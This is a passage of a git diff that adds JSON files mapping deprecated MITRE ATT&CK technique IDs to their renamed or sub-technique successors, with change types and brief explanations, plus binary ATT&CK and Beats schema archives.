Sub-Technique" + }, + { + "T1076": [ + { + "id": "T1021.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1077": [ + { + "id": "T1021.002", + "explanation": "Existing technique that became a sub-technique and was renamed from Windows Admin Shares" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1078": [ + { + "id": "T1078", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1079": [ + { + "id": "T1573", + "explanation": "Created to consolidate behavior around encrypted C2" + } + ], + "change-type": "One or More Techniques Became New Technique" + }, + { + "T1080": [ + { + "id": "T1080", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1081": [ + { + "id": "T1552.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1082": [ + { + "id": "T1082", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1083": [ + { + "id": "T1083", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1084": [ + { + "id": "T1546.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1085": [ + { + "id": "T1218.011", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1086": [ + { + "id": "T1059.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1087": [ + { + "id": "T1087", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1088": [ + { + "id": "T1548.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1089": [ + { + "id": "T1562.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1090": [ + { + "id": "T1090", + "explanation": "Renamed, Name change from Connection Proxy and new sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1091": [ + { + "id": "T1091", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1092": [ + { + "id": "T1092", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1093": [ + { + "id": "T1055.012", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1094": [ + { + "id": "T1095", + "explanation": "Merged with and name change from Standard Non-Application Layer Protocol" + } + ], + "change-type": "Merged into Existing Technique" + }, + { + "T1095": [ + { + "id": "T1095", + "explanation": "Renamed, Name change from Standard Non-Application Layer Protocol" + } + ], + "change-type": "Remains Technique" + }, + { + "T1096": [ + { + "id": "T1564.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1097": [ + { + "id": "T1550.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1098": [ + { + "id": "T1098", + "explanation": "Remove from credential-access, New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1099": [ + { + "id": "T1070.006", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1100": [ + { + "id": "T1505.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1101": [ + { + "id": "T1547.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1102": [ + { + "id": "T1102", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1103": [ + { + "id": "T1546.010", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1104": [ + { + "id": "T1104", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1105": [ + { + "id": "T1105", + "explanation": "Renamed, Name change from Remote File Copy" + } + ], + "change-type": "Remains Technique" + }, + { + "T1106": [ + { + "id": "T1106", + "explanation": "Renamed, Name change from Execution through API" + } + ], + "change-type": "Remains Technique" + }, + { + "T1107": [ + { + "id": "T1070.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1108": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK because the behavior is too high level and is sufficiently covered by Valid Accounts and External Remote Services. Existing Group/Software procedure examples were remapped appropriately" + } + ], + "change-type": "Deprecated" + }, + { + "T1109": [ + { + "id": "T1542.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1110": [ + { + "id": "T1110", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1111": [ + { + "id": "T1111", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1112": [ + { + "id": "T1112", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1113": [ + { + "id": "T1113", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1114": [ + { + "id": "T1114", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1115": [ + { + "id": "T1115", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1116": [ + { + "id": "T1553.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1117": [ + { + "id": "T1218.010", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1118": [ + { + "id": "T1218.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1119": [ + { + "id": "T1119", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1120": [ + { + "id": "T1120", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1121": [ + { + "id": "T1218.009", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1122": [ + { + "id": "T1546.015", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1123": [ + { + "id": "T1123", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1124": [ + { + "id": "T1124", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1125": [ + { + "id": "T1125", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1126": [ + { + "id": "T1070.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1127": [ + { + "id": "T1127", + "explanation": "Renamed, Minor description update, sub-technique added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1128": [ + { + "id": "T1546.007", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1129": [ + { + "id": "T1129", + "explanation": "Renamed, Name change from Execution through Module Load" + } + ], + "change-type": "Remains Technique" + }, + { + "T1130": [ + { + "id": "T1553.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1131": [ + { + "id": "T1547.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1132": [ + { + "id": "T1132", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1133": [ + { + "id": "T1133", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1134": [ + { + "id": "T1134", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1135": [ + { + "id": "T1135", + "explanation": "Fixed technique reference in description, added Linux, and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1136": [ + { + "id": "T1136", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1137": [ + { + "id": "T1137", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1138": [ + { + "id": "T1546.011", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1139": [ + { + "id": "T1552.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1140": [ + { + "id": "T1140", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1141": [ + { + "id": "T1056.002", + "explanation": "Broken out from pre-defined behavior within Input Capture" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1142": [ + { + "id": "T1555.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1143": [ + { + "id": "T1564.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1144": [ + { + "id": "T1553.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1145": [ + { + "id": "T1552.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1146": [ + { + "id": "T1070.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1147": [ + { + "id": "T1564.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1148": [ + { + "id": "T1562.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1149": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK due to lack of in the wild use" + } + ], + "change-type": "Deprecated" + }, + { + "T1150": [ + { + "id": "T1547.011", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Multiple Techniques Became New Sub-Technique" + }, + { + "T1151": [ + { + "id": "T1036.006", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1152": [ + { + "id": "T1569.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1153": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK due to lack of in the wild use" + } + ], + "change-type": "Deprecated" + }, + { + "T1154": [ + { + "id": "T1546.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1155": [ + { + "id": "T1059.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1156": [ + { + "id": "T1546.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1157": [ + { + "id": "T1574.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1158": [ + { + "id": "T1564.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1159": [ + { + "id": "T1543.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1160": [ + { + "id": "T1543.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1161": [ + { + "id": "T1546.006", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1162": [ + { + "id": "T1547.011", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Multiple Techniques Became New Sub-Technique" + }, + { + "T1163": [ + { + "id": "T1037.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1164": [ + { + "id": "T1547.007", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1165": [ + { + "id": "T1037.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1166": [ + { + "id": "T1548.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1167": [ + { + "id": "T1555.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1168": [ + { + "id": "T1053", + "explanation": "Name change from Local Job Scheduling and new sub-techniques added" + } + ], + "change-type": "Merged into Existing Technique" + }, + { + "T1169": [ + { + "id": "T1548.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Multiple Techniques Became New Sub-Technique" + }, + { + "T1170": [ + { + "id": "T1218.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1171": [ + { + "id": "T1557.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1172": [ + { + "id": "T1090.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1173": [ + { + "id": "T1559.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1174": [ + { + "id": "T1556.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1175": [ + { + "id": "T1021.003", + "explanation": "Deprecated and split into separate Component Object Model and Distributed Component Object Model sub-techniques." + }, + { + "id": "T1559.001", + "explanation": "Deprecated and split into separate Component Object Model and Distributed Component Object Model sub-techniques." + } + ], + "change-type": "Became Multiple Sub-Techniques" + }, + { + "T1176": [ + { + "id": "T1176", + "explanation": "Data sources changed and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1177": [ + { + "id": "T1547.008", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1178": [ + { + "id": "T1134.005", + "explanation": "Added due to manipulation of token information" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1179": [ + { + "id": "T1056.004", + "explanation": "Existing technique that became a sub-technique and was renamed from API Hooking. Scope change to only credential access for API hooking was based on available procedure examples" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1180": [ + { + "id": "T1546.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1181": [ + { + "id": "T1055.011", + "explanation": "Broken out from pre-defined behavior within Process Injection" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1182": [ + { + "id": "T1546.009", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1183": [ + { + "id": "T1546.012", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1184": [ + { + "id": "T1563.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1185": [ + { + "id": "T1185", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1186": [ + { + "id": "T1055.013", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1187": [ + { + "id": "T1187", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1188": [ + { + "id": "T1090.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1189": [ + { + "id": "T1189", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1190": [ + { + "id": "T1190", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1191": [ + { + "id": "T1218.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1192": [ + { + "id": "T1566.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1193": [ + { + "id": "T1566.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1194": [ + { + "id": "T1566.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1195": [ + { + "id": "T1195", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1196": [ + { + "id": "T1218.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1197": [ + { + "id": "T1197", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1198": [ + { + "id": "T1553.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1199": [ + { + "id": "T1199", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1200": [ + { + "id": "T1200", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1201": [ + { + "id": "T1201", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1202": [ + { + "id": "T1202", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1203": [ + { + "id": "T1203", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1204": [ + { + "id": "T1204", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1205": [ + { + "id": "T1205", + "explanation": "Renamed, Technique renamed and sub-technique added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1206": [ + { + "id": "T1548.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Multiple Techniques Became New Sub-Technique" + }, + { + "T1207": [ + { + "id": "T1207", + "explanation": "Renamed, Name change from DCShadow" + } + ], + "change-type": "Remains Technique" + }, + { + "T1208": [ + { + "id": "T1558.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1209": [ + { + "id": "T1547.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1210": [ + { + "id": "T1210", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1211": [ + { + "id": "T1211", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1212": [ + { + "id": "T1212", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1213": [ + { + "id": "T1213", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1214": [ + { + "id": "T1552.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1215": [ + { + "id": "T1547.006", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1216": [ + { + "id": "T1216", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1217": [ + { + "id": "T1217", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1218": [ + { + "id": "T1218", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1219": [ + { + "id": "T1219", + "explanation": "Renamed, Name change from Remote Access Tools and fixed technique reference in description" + } + ], + "change-type": "Remains Technique" + }, + { + "T1220": [ + { + "id": "T1220", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1221": [ + { + "id": "T1221", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1222": [ + { + "id": "T1222", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1223": [ + { + "id": "T1218.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1480": [ + { + "id": "T1480", + "explanation": "New sub-technique added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1482": [ + { + "id": "T1482", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1483": [ + { + "id": "T1568.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1484": [ + { + "id": "T1484", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1485": [ + { + "id": "T1485", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1486": [ + { + "id": "T1486", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1487": [ + { + "id": "T1561.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1488": [ + { + "id": "T1561.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1489": [ + { + "id": "T1489", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1490": [ + { + "id": "T1490", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1491": [ + { + "id": "T1491", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1492": [ + { + "id": "T1565.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1493": [ + { + "id": "T1565.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1494": [ + { + "id": "T1565.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1495": [ + { + "id": "T1495", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1496": [ + { + "id": "T1496", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1497": [ + { + "id": "T1497", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1498": [ + { + "id": "T1498", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1499": [ + { + "id": "T1499", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1500": [ + { + "id": "T1027.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1501": [ + { + "id": "T1543.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1502": [ + { + "id": "T1134.004", + "explanation": "Added due to manipulation of tokens" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1503": [ + { + "id": "T1555.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1504": [ + { + "id": "T1546.013", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1505": [ + { + "id": "T1505", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1506": [ + { + "id": "T1550.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1514": [ + { + "id": "T1548.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1518": [ + { + "id": "T1518", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1519": [ + { + "id": "T1546.014", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1522": [ + { + "id": "T1552.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1525": [ + { + "id": "T1525", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1526": [ + { + "id": "T1526", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1527": [ + { + "id": "T1550.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1528": [ + { + "id": "T1528", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1529": [ + { + "id": "T1529", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1530": [ + { + "id": "T1530", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1531": [ + { + "id": "T1531", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1534": [ + { + "id": "T1534", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1535": [ + { + "id": "T1535", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1536": [ + { + "id": "T1578.004", + "explanation": "Created as distinct behavior within Modify Cloud Compute Infrastructure" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1537": [ + { + "id": "T1537", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1538": [ + { + "id": "T1538", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1539": [ + { + "id": "T1539", + "explanation": "" + } + ], + "change-type": "Remains Technique" + } +] \ No newline at end of file diff --git a/etc/attack-technique-redirects.json b/etc/attack-technique-redirects.json new file mode 100644 index 000000000..d5dd131ef --- /dev/null +++ b/etc/attack-technique-redirects.json @@ -0,0 +1,134 @@ +{ + "mapping": { + "T1002": "T1560", + "T1004": "T1547.004", + "T1009": "T1027.001", + "T1013": "T1547.010", + "T1015": "T1546.008", + "T1017": "T1072", + "T1019": "T1542.001", + "T1022": "T1560", + "T1023": "T1547.009", + "T1024": "T1573", + "T1028": "T1021.006", + "T1031": "T1543.003", + "T1032": "T1573", + "T1035": "T1569.002", + "T1038": "T1574.001", + "T1042": "T1546.001", + "T1044": "T1574.010", + "T1045": "T1027.002", + "T1050": "T1543.003", + "T1054": "T1562.006", + "T1058": "T1574.011", + "T1060": "T1547.001", + "T1063": "T1518.001", + "T1065": "T1571", + "T1066": "T1027.005", + "T1067": "T1542.003", + "T1073": "T1574.002", + "T1075": "T1550.002", + "T1076": "T1021.001", + "T1077": "T1021.002", + "T1079": "T1573", + "T1081": "T1552.001", + "T1084": "T1546.003", + "T1085": "T1218.011", + "T1086": "T1059.001", + "T1088": "T1548.002", + "T1089": "T1562.001", + "T1093": "T1055.012", + "T1094": "T1095", + "T1096": "T1564.004", + "T1097": "T1550.003", + "T1099": "T1070.006", + "T1100": "T1505.003", + "T1101": "T1547.005", + "T1103": "T1546.010", + "T1107": "T1070.004", + "T1109": "T1542.002", + "T1116": "T1553.002", + "T1117": "T1218.010", + "T1118": "T1218.004", + "T1121": "T1218.009", + "T1122": "T1546.015", + "T1126": "T1070.005", + "T1128": "T1546.007", + "T1130": "T1553.004", + "T1131": "T1547.002", + "T1138": "T1546.011", + "T1139": "T1552.003", + "T1141": "T1056.002", + "T1142": "T1555.001", + "T1143": "T1564.003", + "T1144": "T1553.001", + "T1145": "T1552.004", + "T1146": "T1070.003", + "T1147": "T1564.002", + "T1148": "T1562.003", + "T1150": "T1547.011", + "T1151": "T1036.006", + "T1152": "T1569.001", + "T1154": "T1546.005", + "T1155": "T1059.002", + "T1156": "T1546.004", + "T1157": "T1574.004", + "T1158": "T1564.001", + "T1159": "T1543.001", + "T1160": "T1543.004", + "T1161": "T1546.006", + "T1162": "T1547.011", + "T1163": "T1037.004", + "T1164": "T1547.007", + "T1165": "T1037.005", + "T1166": "T1548.001", + "T1167": "T1555.002", + "T1168": "T1053", + "T1169": "T1548.003", + "T1170": "T1218.005", + "T1171": "T1557.001", + "T1172": "T1090.004", + "T1173": "T1559.002", + "T1174": "T1556.002", + "T1177": "T1547.008", + "T1178": "T1134.005", + "T1179": "T1056.004", + "T1180": "T1546.002", + "T1181": "T1055.011", + "T1182": "T1546.009", + "T1183": "T1546.012", + "T1184": "T1563.001", + "T1186": "T1055.013", + "T1188": "T1090.003", + "T1191": "T1218.003", + "T1192": "T1566.002", + "T1193": "T1566.001", + "T1194": "T1566.003", + "T1196": "T1218.002", + "T1198": "T1553.003", + "T1206": "T1548.003", + "T1208": "T1558.003", + "T1209": "T1547.003", + "T1214": "T1552.002", + "T1215": "T1547.006", + "T1223": "T1218.001", + "T1483": "T1568.002", + "T1487": "T1561.002", + "T1488": "T1561.001", + "T1492": "T1565.001", + "T1493": "T1565.002", + "T1494": "T1565.003", + "T1500": "T1027.004", + "T1501": "T1543.002", + "T1502": "T1134.004", + "T1503": "T1555.003", + "T1504": "T1546.013", + "T1506": "T1550.004", + "T1514": "T1548.004", + "T1519": "T1546.014", + "T1522": "T1552.005", + "T1527": "T1550.001", + "T1536": "T1578.004" + }, + "saved_date": "Tue Dec 8 23:08:53 2020" +} \ No newline at end of file diff --git a/etc/attack-v10.1.json.gz b/etc/attack-v10.1.json.gz new file mode 100644 index 000000000..147c0c6fd Binary files /dev/null and b/etc/attack-v10.1.json.gz differ diff --git a/etc/beats_schemas/main.json.gz b/etc/beats_schemas/main.json.gz new file mode 100644 index 000000000..b4b96db29 Binary files /dev/null and b/etc/beats_schemas/main.json.gz differ diff --git a/etc/beats_schemas/v7.10.0.json.gz b/etc/beats_schemas/v7.10.0.json.gz new file mode 100644 index 000000000..af396a9b5 Binary files /dev/null and b/etc/beats_schemas/v7.10.0.json.gz differ diff --git a/etc/beats_schemas/v7.11.2.json.gz b/etc/beats_schemas/v7.11.2.json.gz new file mode 100644 index 000000000..a32a050a8 Binary files /dev/null and b/etc/beats_schemas/v7.11.2.json.gz differ diff --git a/etc/beats_schemas/v7.12.0.json.gz b/etc/beats_schemas/v7.12.0.json.gz new file mode 100644 index 000000000..1c110f71d Binary files /dev/null and b/etc/beats_schemas/v7.12.0.json.gz differ diff --git a/etc/beats_schemas/v7.13.2.json.gz b/etc/beats_schemas/v7.13.2.json.gz new file mode 100644 index 000000000..d530aa484 Binary files /dev/null and b/etc/beats_schemas/v7.13.2.json.gz differ diff --git 